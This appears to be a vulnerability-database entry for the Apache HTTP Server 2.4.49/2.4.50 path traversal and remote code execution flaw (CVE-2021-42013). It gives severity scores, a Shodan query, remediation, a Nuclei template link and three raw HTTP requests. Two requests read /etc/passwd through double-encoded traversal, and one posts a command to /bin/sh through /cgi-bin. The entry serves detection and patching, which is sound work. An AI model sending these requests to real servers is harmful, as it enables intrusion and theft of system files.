| Title | Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution |
|---|---|
| Author | nvn1729,0xd0ff9,666asd |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code and gain unauthorized access to sensitive information. |
| Remediation | Upgrade to Apache HTTP Server 2.4.51 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.9441 |
| CVE ID | CVE-2021-42013 |
| CWE ID | CWE-22 |
| Shodan Query | cpe:"cpe:2.3:a:apache:http_server"apache 2.4.49 |
| Tags | cve2021 cve lfi apache rce misconfig traversal kev vkev vuln |
A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by “require all denied” these requests can succeed. Additionally, this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.
GET /icons/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: www.victim.com
Origin: http://www.victim.com
GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd HTTP/1.1
Host: www.victim.com
Origin: http://www.victim.com
POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh HTTP/1.1
Host: www.victim.com
Origin: http://www.victim.com
Content-Type: application/x-www-form-urlencoded
echo Content-Type: text/plain; echo; echo 31024-1202-EVC | rev
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-42013.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-42013.pcap
N/AN/A